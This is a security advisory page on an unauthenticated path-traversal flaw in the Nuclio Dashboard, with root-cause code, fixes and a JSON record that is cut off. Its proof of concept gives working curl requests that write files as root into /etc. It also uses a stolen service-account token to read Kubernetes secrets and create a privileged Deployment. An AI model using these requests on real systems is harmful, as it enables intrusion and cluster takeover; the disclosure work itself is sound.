Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13071 vulnerabilities reference this CWE, most recent first.

GHSA-WPCJ-RMV4-86QG

Vulnerability from github – Published: 2026-07-16 19:47 – Updated: 2026-07-16 19:47
VLAI
Summary
Nuclio: Unauthenticated path traversal in spec.handler allows arbitrary file write in Dashboard container
Details

Summary

Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only — no path validation is applied to the module portion.

During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).

The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.

  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N — 7.5 (High)
  • CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
  • Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)

Details

Root Cause

The vulnerability spans three functions. The path from user input to disk write is:

1. ParseHandler — no path validation (pkg/functionconfig/handler.go:25-38):

// pkg/functionconfig/handler.go:25-38
func ParseHandler(handler string) (string, string, error) {
    moduleAndEntrypoint := strings.Split(handler, ":")
    switch len(moduleAndEntrypoint) {
    case 1:
        return "", moduleAndEntrypoint[0], nil
    case 2:
        // Returns moduleFileName verbatim — no path sanitization
        return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
    default:
        return "", "", errors.Errorf("Invalid handler name %s", handler)
    }
}

Input "../../../../tmp/vul007_proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007_proof.txt".

2. writeFunctionSourceCodeToTempFile — unsafe path construction (pkg/processor/build/builder.go:613-661):

// builder.go:624-657 (abridged)
tempDir, err := b.mkDirUnderTemp("source")
// tempDir = /tmp/nuclio-build-<random>/source

runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)

moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007_proof.txt" — attacker-controlled

if !strings.Contains(moduleFileName, ".") {
    moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is

sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
// = "/tmp/vul007_proof.txt"   <-- escaped tempDir

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
    // Writes attacker-controlled bytes to attacker-controlled path

3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):

// builder.go:1053
err := os.RemoveAll(b.tempDir)
// Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persists

Path Traversal Calculation

tempDir  = /tmp/nuclio-build-227825660/source   (depth from /: 3 components)
handler  = "../../../../tmp/vul007_proof.txt:handler"
module   = "../../../../tmp/vul007_proof.txt"

path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")

Traversal:
  /tmp/nuclio-build-227825660/source  (start)
  ../  -> /tmp/nuclio-build-227825660
  ../  -> /tmp
  ../  -> /  (filesystem root)
  ../  -> /  (cannot go above root)
  tmp/vul007_proof.txt -> /tmp/vul007_proof.txt

The same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.

Full Attack Chain

Unauthenticated HTTP client
  -> POST /api/functions (no auth, NOP mode)
       dashboard/resource/function.go:156 storeAndDeployFunction()
  -> platform.CreateFunction()
       platform/kube/platform.go:193
  -> abstract/platform.go:191 HandleDeployFunction()
  -> abstract/platform.go:119 CreateFunctionBuild()
  -> builder.Build()
       processor/build/builder.go:195
  -> builder.resolveFunctionPath()
       builder.go:664
  -> builder.writeFunctionSourceCodeToTempFile()   <-- file write here
       builder.go:613
  -> os.WriteFile(attacker_path, attacker_content, 0644)
       builder.go:657

PoC — Steps to Reproduce

Environment Setup

The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.

Step 1: Create isolated kind cluster with Docker socket mounted

The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:

cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraMounts:
  - hostPath: /var/run/docker.sock
    containerPath: /var/run/docker.sock
EOF

kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml

Expected output:

Creating cluster "vul-007" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
Set kubectl context to "kind-vul-007"

Verify Docker socket is available inside the cluster node:

docker exec vul-007-control-plane ls -la /var/run/docker.sock
# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock

Step 2: Deploy Nuclio via Helm

# Create namespace
kubectl --context kind-vul-007 create namespace nuclio

# Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007

# Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio \
  --namespace nuclio \
  --kube-context kind-vul-007 \
  --set controller.image.pullPolicy=Never \
  --set dashboard.image.pullPolicy=Never \
  --set registry.pushPullUrl="localhost:5000" \
  --set dashboard.containerBuilderKind=docker

Step 3: Wait for Dashboard to be ready

kubectl --context kind-vul-007 wait -n nuclio \
  --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s

# Expected:
# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met

Step 4: Expose Dashboard locally

kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3

# Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
# HTTP 200

Step 5: Create default project (required by Dashboard API)

curl -s -X POST http://localhost:8073/api/projects \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'

Exploitation

Step 6: Send path traversal request

The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.

curl -v -X POST http://localhost:8073/api/functions \
  -H "Content-Type: application/json" \
  -H "x-nuclio-project-name: default" \
  -d '{
    "metadata": {"name": "vul007-poc", "namespace": "nuclio"},
    "spec": {
      "runtime": "python:3.11",
      "handler": "../../../../tmp/vul007_proof.txt:handler",
      "build": {
        "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
      },
      "minReplicas": 0,
      "maxReplicas": 1
    }
  }'

functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007

Expected response:

HTTP/1.1 202 Accepted

Step 7: Observe Dashboard build logs

kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \
  | grep -E "temporary dir|Writing function source"

Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):

26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Created temporary dir
  {"dir": "/tmp/nuclio-build-227825660/source"}

26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Writing function source code to temporary file
  {"functionPath": "/tmp/vul007_proof.txt"}

The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.

Step 8: Verify file written to traversal path

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- cat /tmp/vul007_proof.txt

Output:

PROVED-PATH-TRAVERSAL-VUL007

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- ls -la /tmp/vul007_proof.txt

Output:

-rw-r--r--    1 root     root            28 May 17 14:55 /tmp/vul007_proof.txt

Step 9: Write to /etc/ — broader impact demonstration

curl -s -X POST http://localhost:8073/api/functions \
  -H "Content-Type: application/json" \
  -H "x-nuclio-project-name: default" \
  -d '{
    "metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
    "spec": {
      "runtime": "python:3.11",
      "handler": "../../../../etc/vul007-marker.txt:handler",
      "build": {
        "functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
      }
    }
  }'

Log evidence:

26.05.17 14:55:50.666 (D) dashboard.server.api/functions  Writing function source code to temporary file
  {"functionPath": "/etc/vul007-marker.txt"}

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- cat /etc/vul007-marker.txt
# VUL007-PERSISTENT-MARKER-root

Cleanup

kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
kind delete cluster --name vul-007

Impact

Direct Impact

An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.

Demonstrated write targets: - /tmp/ — confirmed (primary PoC) - /etc/ — confirmed (secondary PoC)

Potential high-impact write targets: - /etc/cron.d/ — write a cron job entry; if a cron daemon runs in the container, this achieves scheduled arbitrary command execution inside the container - /usr/local/bin/<name> — overwrite a binary called by dashboard processes - Any file path accessible by root within the container filesystem

Privilege Escalation

The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:

Resources         Verbs
secrets           [*]
deployments.apps  [*]
pods              [*]
configmaps        [*]
services          [*]
cronjobs.batch    [*]

Verification: Using the SA token directly against the Kubernetes API:

# List secrets — HTTP 200
curl -k -H "Authorization: Bearer $SA_TOKEN" \
  "$K8S_API/api/v1/namespaces/nuclio/secrets"
# => returns helm release secret, nuclio SA secret

# Create privileged Deployment — HTTP 201
curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \
  -H "Content-Type: application/json" \
  "$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \
  -d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
# HTTP_CODE:201

An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.

Scope

The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.

Severity

CVSS 3.1 Score: 7.5 (High)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Metric Value Rationale
Attack Vector Network Dashboard API reachable over network
Attack Complexity Low Single HTTP request, no race condition
Privileges Required None Default NOP auth mode requires no credentials
User Interaction None Fully automated
Scope Unchanged Write confined to Dashboard container
Confidentiality None No data read in primary attack path
Integrity High Arbitrary file write as root in container
Availability None No service disruption caused by write

Affected Versions

  • Nuclio <= 1.15.27 (latest release at time of research)
  • Dynamically verified against quay.io/nuclio/dashboard:1.15.27-amd64 on 2026-05-17

The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go) has been present since the functionSourceCode inline code feature was introduced.

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

Workarounds

Option 1: Enable authentication on the Dashboard

Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.

# In Dashboard deployment env
- name: NUCLIO_AUTH_KIND
  value: "iguazio"

Option 2: Network-level access control

Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.

Option 3: Drop root privileges in the Dashboard container

Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.

Remediation

Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:

// pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile
sourceFilePath := path.Join(tempDir, moduleFileName)

// Verify resolved path is within tempDir
absPath, err := filepath.Abs(sourceFilePath)
if err != nil {
    return "", errors.Wrap(err, "Failed to resolve absolute path")
}
absTempDir, err := filepath.Abs(tempDir)
if err != nil {
    return "", errors.Wrap(err, "Failed to resolve absolute tempDir")
}
if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {
    return "", errors.Errorf(
        "handler module path escapes build directory: %s", moduleFileName)
}

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)
if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {

Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).

Resources

  • Vulnerable file: pkg/processor/build/builder.go — function writeFunctionSourceCodeToTempFile, line 654
  • Parser: pkg/functionconfig/handler.go — function ParseHandler, line 25
  • Go path.Join behavior: https://pkg.go.dev/path#Join
  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nuclio/nuclio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52832"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-16T19:47:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nNuclio Dashboard exposes `POST /api/functions` without authentication by default (NOP auth mode). The `spec.handler` field (e.g., `mymodule:myfunction`) is parsed by `functionconfig.ParseHandler()` which splits on `:` only \u2014 no path validation is applied to the module portion.\n\nDuring function build, `writeFunctionSourceCodeToTempFile()` passes the module name directly to `path.Join(tempDir, moduleFileName)`. Go\u0027s `path.Join` internally calls `path.Clean`, which resolves `../` sequences and allows the resolved path to escape `tempDir`. The function then calls `os.WriteFile` at the attacker-controlled path with attacker-controlled content (base64-decoded `spec.build.functionSourceCode`).\n\nThe write executes in the Dashboard container process running as `uid=0 (root)`, allowing writes to any filesystem location the process can access: `/tmp`, `/etc`, `/usr/local/bin`, `/etc/cron.d`, and more.\n\n- **CVSS 3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` \u2014 **7.5 (High)**\n- **CWE**: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n- **Affected versions**: Nuclio \u003c= 1.15.27 (latest at time of research, dynamically verified)\n\n---\n\n## Details\n\n### Root Cause\n\nThe vulnerability spans three functions. The path from user input to disk write is:\n\n**1. `ParseHandler` \u2014 no path validation** (`pkg/functionconfig/handler.go:25-38`):\n\n```go\n// pkg/functionconfig/handler.go:25-38\nfunc ParseHandler(handler string) (string, string, error) {\n    moduleAndEntrypoint := strings.Split(handler, \":\")\n    switch len(moduleAndEntrypoint) {\n    case 1:\n        return \"\", moduleAndEntrypoint[0], nil\n    case 2:\n        // Returns moduleFileName verbatim \u2014 no path sanitization\n        return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil\n    default:\n        return \"\", \"\", errors.Errorf(\"Invalid handler name %s\", handler)\n    }\n}\n```\n\nInput `\"../../../../tmp/vul007_proof.txt:handler\"` returns `moduleFileName = \"../../../../tmp/vul007_proof.txt\"`.\n\n**2. `writeFunctionSourceCodeToTempFile` \u2014 unsafe path construction** (`pkg/processor/build/builder.go:613-661`):\n\n```go\n// builder.go:624-657 (abridged)\ntempDir, err := b.mkDirUnderTemp(\"source\")\n// tempDir = /tmp/nuclio-build-\u003crandom\u003e/source\n\nruntimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)\n\nmoduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)\n// moduleFileName = \"../../../../tmp/vul007_proof.txt\" \u2014 attacker-controlled\n\nif !strings.Contains(moduleFileName, \".\") {\n    moduleFileName = fmt.Sprintf(\"%s.%s\", moduleFileName, runtimeExtension)\n}\n// If moduleFileName already contains \".\", no extension is appended\n// \"../../../../tmp/vul007_proof.txt\" contains \".\" -\u003e stays as-is\n\nsourceFilePath := path.Join(tempDir, moduleFileName)\n// path.Join(\"/tmp/nuclio-build-227825660/source\", \"../../../../tmp/vul007_proof.txt\")\n// = \"/tmp/vul007_proof.txt\"   \u003c-- escaped tempDir\n\nb.logger.DebugWith(\"Writing function source code to temporary file\", \"functionPath\", sourceFilePath)\nif err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {\n    // Writes attacker-controlled bytes to attacker-controlled path\n```\n\n**3. `cleanupTempDir` does not remove the traversal file** (`builder.go:1047-1061`):\n\n```go\n// builder.go:1053\nerr := os.RemoveAll(b.tempDir)\n// Only removes /tmp/nuclio-build-\u003crandom\u003e/ \u2014 traversal file outside this tree persists\n```\n\n### Path Traversal Calculation\n\n```\ntempDir  = /tmp/nuclio-build-227825660/source   (depth from /: 3 components)\nhandler  = \"../../../../tmp/vul007_proof.txt:handler\"\nmodule   = \"../../../../tmp/vul007_proof.txt\"\n\npath.Join(\"/tmp/nuclio-build-227825660/source\", \"../../../../tmp/vul007_proof.txt\")\n= path.Clean(\"/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt\")\n\nTraversal:\n  /tmp/nuclio-build-227825660/source  (start)\n  ../  -\u003e /tmp/nuclio-build-227825660\n  ../  -\u003e /tmp\n  ../  -\u003e /  (filesystem root)\n  ../  -\u003e /  (cannot go above root)\n  tmp/vul007_proof.txt -\u003e /tmp/vul007_proof.txt\n```\n\nThe same technique with 4x `../` reaches any path under `/tmp`, `/etc`, `/usr`, etc.\n\n### Full Attack Chain\n\n```\nUnauthenticated HTTP client\n  -\u003e POST /api/functions (no auth, NOP mode)\n       dashboard/resource/function.go:156 storeAndDeployFunction()\n  -\u003e platform.CreateFunction()\n       platform/kube/platform.go:193\n  -\u003e abstract/platform.go:191 HandleDeployFunction()\n  -\u003e abstract/platform.go:119 CreateFunctionBuild()\n  -\u003e builder.Build()\n       processor/build/builder.go:195\n  -\u003e builder.resolveFunctionPath()\n       builder.go:664\n  -\u003e builder.writeFunctionSourceCodeToTempFile()   \u003c-- file write here\n       builder.go:613\n  -\u003e os.WriteFile(attacker_path, attacker_content, 0644)\n       builder.go:657\n```\n\n---\n\n## PoC \u2014 Steps to Reproduce\n\n### Environment Setup\n\nThe following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.\n\n**Step 1: Create isolated kind cluster with Docker socket mounted**\n\nThe Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:\n\n```bash\ncat \u003e /tmp/kind-vul007-config.yaml \u003c\u003c \u0027EOF\u0027\nkind: Cluster\napiVersion: kind.x-k8s.io/v1alpha4\nnodes:\n- role: control-plane\n  extraMounts:\n  - hostPath: /var/run/docker.sock\n    containerPath: /var/run/docker.sock\nEOF\n\nkind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml\n```\n\nExpected output:\n```\nCreating cluster \"vul-007\" ...\n \u2713 Ensuring node image (kindest/node:v1.27.3)\n \u2713 Preparing nodes\n \u2713 Writing configuration\n \u2713 Starting control-plane\n \u2713 Installing CNI\n \u2713 Installing StorageClass\nSet kubectl context to \"kind-vul-007\"\n```\n\nVerify Docker socket is available inside the cluster node:\n```bash\ndocker exec vul-007-control-plane ls -la /var/run/docker.sock\n# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock\n```\n\n**Step 2: Deploy Nuclio via Helm**\n\n```bash\n# Create namespace\nkubectl --context kind-vul-007 create namespace nuclio\n\n# Load container images (if pre-pulled)\nkind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007\nkind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007\n\n# Install with Helm (chart from source: hack/k8s/helm/nuclio)\nhelm install nuclio ./hack/k8s/helm/nuclio \\\n  --namespace nuclio \\\n  --kube-context kind-vul-007 \\\n  --set controller.image.pullPolicy=Never \\\n  --set dashboard.image.pullPolicy=Never \\\n  --set registry.pushPullUrl=\"localhost:5000\" \\\n  --set dashboard.containerBuilderKind=docker\n```\n\n**Step 3: Wait for Dashboard to be ready**\n\n```bash\nkubectl --context kind-vul-007 wait -n nuclio \\\n  --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s\n\n# Expected:\n# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met\n```\n\n**Step 4: Expose Dashboard locally**\n\n```bash\nkubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 \u0026\nsleep 3\n\n# Verify Dashboard is accessible\ncurl -s -o /dev/null -w \"HTTP %{http_code}\\n\" http://localhost:8073/api/functions\n# HTTP 200\n```\n\n**Step 5: Create default project (required by Dashboard API)**\n\n```bash\ncurl -s -X POST http://localhost:8073/api/projects \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"metadata\":{\"name\":\"default\",\"namespace\":\"nuclio\"},\"spec\":{\"description\":\"default\"}}\u0027\n```\n\n---\n\n### Exploitation\n\n**Step 6: Send path traversal request**\n\nThe `handler` field `../../../../tmp/vul007_proof.txt:handler` instructs the build pipeline to write `functionSourceCode` content to `/tmp/vul007_proof.txt` inside the Dashboard container.\n\n```bash\ncurl -v -X POST http://localhost:8073/api/functions \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-nuclio-project-name: default\" \\\n  -d \u0027{\n    \"metadata\": {\"name\": \"vul007-poc\", \"namespace\": \"nuclio\"},\n    \"spec\": {\n      \"runtime\": \"python:3.11\",\n      \"handler\": \"../../../../tmp/vul007_proof.txt:handler\",\n      \"build\": {\n        \"functionSourceCode\": \"UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw==\"\n      },\n      \"minReplicas\": 0,\n      \"maxReplicas\": 1\n    }\n  }\u0027\n```\n\n`functionSourceCode` base64 decoded: `PROVED-PATH-TRAVERSAL-VUL007`\n\nExpected response:\n```\nHTTP/1.1 202 Accepted\n```\n\n**Step 7: Observe Dashboard build logs**\n\n```bash\nkubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \\\n  | grep -E \"temporary dir|Writing function source\"\n```\n\nActual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):\n```\n26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Created temporary dir\n  {\"dir\": \"/tmp/nuclio-build-227825660/source\"}\n\n26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Writing function source code to temporary file\n  {\"functionPath\": \"/tmp/vul007_proof.txt\"}\n```\n\nThe log confirms `functionPath` resolved to `/tmp/vul007_proof.txt`, which is\n**outside** the tempDir `/tmp/nuclio-build-227825660/source`. Path traversal is confirmed.\n\n**Step 8: Verify file written to traversal path**\n\n```bash\nkubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \\\n  -- cat /tmp/vul007_proof.txt\n```\n\nOutput:\n```\nPROVED-PATH-TRAVERSAL-VUL007\n```\n\n```bash\nkubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \\\n  -- ls -la /tmp/vul007_proof.txt\n```\n\nOutput:\n```\n-rw-r--r--    1 root     root            28 May 17 14:55 /tmp/vul007_proof.txt\n```\n\n**Step 9: Write to /etc/ \u2014 broader impact demonstration**\n\n```bash\ncurl -s -X POST http://localhost:8073/api/functions \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-nuclio-project-name: default\" \\\n  -d \u0027{\n    \"metadata\": {\"name\": \"vul007-poc2\", \"namespace\": \"nuclio\"},\n    \"spec\": {\n      \"runtime\": \"python:3.11\",\n      \"handler\": \"../../../../etc/vul007-marker.txt:handler\",\n      \"build\": {\n        \"functionSourceCode\": \"VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q=\"\n      }\n    }\n  }\u0027\n```\n\nLog evidence:\n```\n26.05.17 14:55:50.666 (D) dashboard.server.api/functions  Writing function source code to temporary file\n  {\"functionPath\": \"/etc/vul007-marker.txt\"}\n```\n\n```bash\nkubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \\\n  -- cat /etc/vul007-marker.txt\n# VUL007-PERSISTENT-MARKER-root\n```\n\n---\n\n### Cleanup\n\n```bash\nkubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2\u003e/dev/null || true\nkind delete cluster --name vul-007\n```\n\n---\n\n## Impact\n\n### Direct Impact\n\nAn unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.\n\nDemonstrated write targets:\n- `/tmp/` \u2014 confirmed (primary PoC)\n- `/etc/` \u2014 confirmed (secondary PoC)\n\nPotential high-impact write targets:\n- `/etc/cron.d/` \u2014 write a cron job entry; if a cron daemon runs in the container, this\n  achieves scheduled arbitrary command execution inside the container\n- `/usr/local/bin/\u003cname\u003e` \u2014 overwrite a binary called by dashboard processes\n- Any file path accessible by root within the container filesystem\n\n### Privilege Escalation\n\nThe Dashboard container runs as `uid=0 (root)`. Its mounted Kubernetes ServiceAccount (`nuclio-dashboard`) holds the following RBAC permissions in the `nuclio` namespace:\n\n```\nResources         Verbs\nsecrets           [*]\ndeployments.apps  [*]\npods              [*]\nconfigmaps        [*]\nservices          [*]\ncronjobs.batch    [*]\n```\n\nVerification: Using the SA token directly against the Kubernetes API:\n\n```bash\n# List secrets \u2014 HTTP 200\ncurl -k -H \"Authorization: Bearer $SA_TOKEN\" \\\n  \"$K8S_API/api/v1/namespaces/nuclio/secrets\"\n# =\u003e returns helm release secret, nuclio SA secret\n\n# Create privileged Deployment \u2014 HTTP 201\ncurl -k -X POST -H \"Authorization: Bearer $SA_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  \"$K8S_API/apis/apps/v1/namespaces/nuclio/deployments\" \\\n  -d \u0027{\"spec\":{\"template\":{\"spec\":{\"containers\":[{\"name\":\"t\",\"image\":\"busybox\",\"securityContext\":{\"privileged\":true}}]}}}}\u0027\n# HTTP_CODE:201\n```\n\nAn attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the `nuclio` namespace, potentially escalating to cluster-level access depending on cluster configuration.\n\n### Scope\n\nThe file write is bounded to the Dashboard **container** filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.\n\n---\n\n## Severity\n\n**CVSS 3.1 Score: 7.5 (High)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n```\n\n| Metric | Value | Rationale |\n|--------|-------|-----------|\n| Attack Vector | Network | Dashboard API reachable over network |\n| Attack Complexity | Low | Single HTTP request, no race condition |\n| Privileges Required | None | Default NOP auth mode requires no credentials |\n| User Interaction | None | Fully automated |\n| Scope | Unchanged | Write confined to Dashboard container |\n| Confidentiality | None | No data read in primary attack path |\n| Integrity | High | Arbitrary file write as root in container |\n| Availability | None | No service disruption caused by write |\n\n---\n\n## Affected Versions\n\n- **Nuclio \u003c= 1.15.27** (latest release at time of research)\n- Dynamically verified against `quay.io/nuclio/dashboard:1.15.27-amd64` on 2026-05-17\n\nThe vulnerable code path (`writeFunctionSourceCodeToTempFile` in `pkg/processor/build/builder.go`)\nhas been present since the `functionSourceCode` inline code feature was introduced.\n\n---\n\n## Patched Versions\n\nhttps://github.com/nuclio/nuclio/releases/tag/1.16.5\n\n---\n\n## Workarounds\n\n**Option 1: Enable authentication on the Dashboard**\n\nSet `NUCLIO_AUTH_KIND` to a non-NOP value (e.g., `iguazio`) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.\n\n```yaml\n# In Dashboard deployment env\n- name: NUCLIO_AUTH_KIND\n  value: \"iguazio\"\n```\n\n**Option 2: Network-level access control**\n\nRestrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.\n\n**Option 3: Drop root privileges in the Dashboard container**\n\nRun the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.\n\n---\n\n## Remediation\n\nAdd a path boundary check in `writeFunctionSourceCodeToTempFile` after constructing `sourceFilePath`:\n\n```go\n// pkg/processor/build/builder.go \u2014 fix for writeFunctionSourceCodeToTempFile\nsourceFilePath := path.Join(tempDir, moduleFileName)\n\n// Verify resolved path is within tempDir\nabsPath, err := filepath.Abs(sourceFilePath)\nif err != nil {\n    return \"\", errors.Wrap(err, \"Failed to resolve absolute 